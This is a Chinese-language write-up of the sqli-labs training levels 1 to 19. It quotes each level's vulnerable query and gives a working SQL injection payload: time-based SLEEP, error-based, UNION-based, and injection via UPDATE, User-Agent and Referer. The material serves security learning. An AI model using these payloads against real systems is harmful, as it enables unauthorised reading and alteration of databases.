环境搭建参考:
https://www.freebuf.com/articles/web/34619.html
1
"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
payload
id=1' and sleep(5)-- cqq
2
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
payload
id=1 and sleep(5)-- cqq
3
基于单引号和括号,可以选择两边都闭合括号,也可以用注释--
,注意注释之后一定要有一个空格。
"SELECT * FROM users WHERE id=('$id') LIMIT 0,1"
payload
id=1') AND SLEEP(5)-- cqq
或者
id=1') AND SLEEP(5) AND ('xoak'='xoak
4
SELECT * FROM users WHERE id=($id) LIMIT 0,1
payload
id=1") AND SLEEP(5) AND ("xoak"="xoak
或者
id=1") AND SLEEP(5)-- cqq
5
SELECT * FROM users WHERE id='$id' LIMIT 0,1
payload
id=1' AND SLEEP(5)-- YlWK
6
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload
id=1" AND SLEEP(5)-- KjdJ
7
变态的两层括号
"SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"
payload
id=1') AND SLEEP(5) AND ('WRrj'='WRrj
拼起来之后是这样,
SELECT * FROM users WHERE id=(('1') AND SLEEP(5) AND ('WRrj'='WRrj')) LIMIT 0,1
其实跟一个括号是一样的。
8
这次没有报错,
"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
payload
id=1' AND SLEEP(5)-- cqq
跟Less-1的区别只是关闭了报错。
9
只是没有报错而已,其他跟8一样。
"SELECT * FROM users WHERE id='$id' LIMIT 0,1"
payload
id=1' or sleep(5)--%20a
10
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
第10关,burp已经罢工了,跑不出来了。
而sqlmap当然是可以跑出来的。
payload
id=1" AND SLEEP(5)-- Pnes
不相信,burp又跑了一遍,依然没跑出来
(注:有的确实burp跑不出来,但是burp还是比较快的。sqlmap能跑出来,不过是在知道注入点的情况下。如果不知道注入点,则需要跑很多payload,时间比burp还是要长的。)
跟6的区别只是没有了报错。
11
payload
基于报错:
uname=Dhakkan' AND (SELECT 4248 FROM(SELECT COUNT(*),CONCAT(0x7178717071,(SELECT (ELT(4248=4248,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VzeP&passwd=Dhakkan&submit=Submit
基于时间盲注:
uname=Dhakkan' AND SLEEP(5)-- eEpu&passwd=Dhakkan&submit=Submit
基于UNION查询:
uname=-3049' UNION ALL SELECT NULL,CONCAT(0x7178717071,0x41495a66426f53515663445265426f457a7164656e5a6c705448544f4254554965465674576e576c,0x7162716b71)#&passwd=Dhakkan&submit=Submit
12
两边都是用双引号包裹起来的。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
payload:
uname=cqq") or sleep(5)#&passwd=cqq&submit=Submit
13
这次是单引号。
"SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1"
payload:
uname=cqq') or sleep(5)#&passwd=cqq&submit=Submit
14
这次是双引号。是用双引号包裹起来的,所以payload中需要带双引号。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
payload:
uname=cqq" or sleep(5)#&passwd=cqq&submit=Submit
15
这次是单引号。其他跟14一样。
uname=cqq' or sleep(5)#&passwd=cqq&submit=Submit
16
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
这次就带一个括号。
uname=cqq") AND sleep(5)#&passwd=cqq&submit=Submit
AND的时候是正确的,sleep几秒算几秒,而OR的时候是12的倍数。
至于为什么不是准确的秒数,而是倍数,开始以为是执行了几次,后来参考这两个文章:
http://blackwolfsec.cc/2018/03/13/Mysql_sleep/
https://blog.csdn.net/zyz511919766/article/details/42241211
明白了,原来跟查询成功的记录数有关。
Mysql语句关于AND和OR执行优先级和Mysql查询优化策略有以下几点:
- AND的优先级大于OR,先计算AND的结果,再计算or的结果
- 同优先级AND中如果有恒为0(如and 1=2),则直接返回0,不执行同级中的其他语句
- 多个OR连接的语句中如果有恒为1(如or 1=1),则直接返回1,不执行的其他语句
17
对uname进行了$uname=check_input($_POST['uname']);
操作,最终是对uname值进行了mysql_real_escape_string过滤,并加了单引号包裹起来,无法绕过。但是对passwd没有任何过滤,所以可以对passwd参数进行注入。
$value = "'" . mysql_real_escape_string($value) . "'";
但是注意这里uname参数对值必须满足条件:就是执行这条语句需要有返回值。
SELECT username, password FROM users WHERE username= $uname LIMIT 0,1
即用户名必须存在,如admin。
关于结果为什么是13的倍数
因为#注释掉了后面的where条件,所以跟useradmin是否为‘admin’没有关系,而与users的数据条数有关,由于users有13条:
因为update users的时候需要对每一个users都进行update,所以对13条数据都update,就会是13的倍数。感谢杰哥讲解!
用户名正确之后用sqlmap也跑出了数据。
由于注入点是update,所以这里将密码已经修改了。
18
这题是UA的注入,但是同样需要满足条件就是uname和passwd必须对应,也就是说必须知道某用户对应的密码才能进行注入,原因在于:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
先执行了这个sql语句,而下面代码判断只有这这条语句返回数据的时候,才能执行下面的存在注入的sql语句。
if($row1)
{
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
其中$uagent
字段是存在注入的。
参考:https://www.cnblogs.com/litlife/p/8519794.html
19
burp并没有扫出来。
看一下源码:
$uagent = $_SERVER['HTTP_REFERER'];
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
对referer没有过滤。直接拼接到insert语句中。但是由于是insert,并没有回显。
跟18一样,只是注入点换成了Referer:
同样需要在用户名密码正确的情况下,否则无法注入。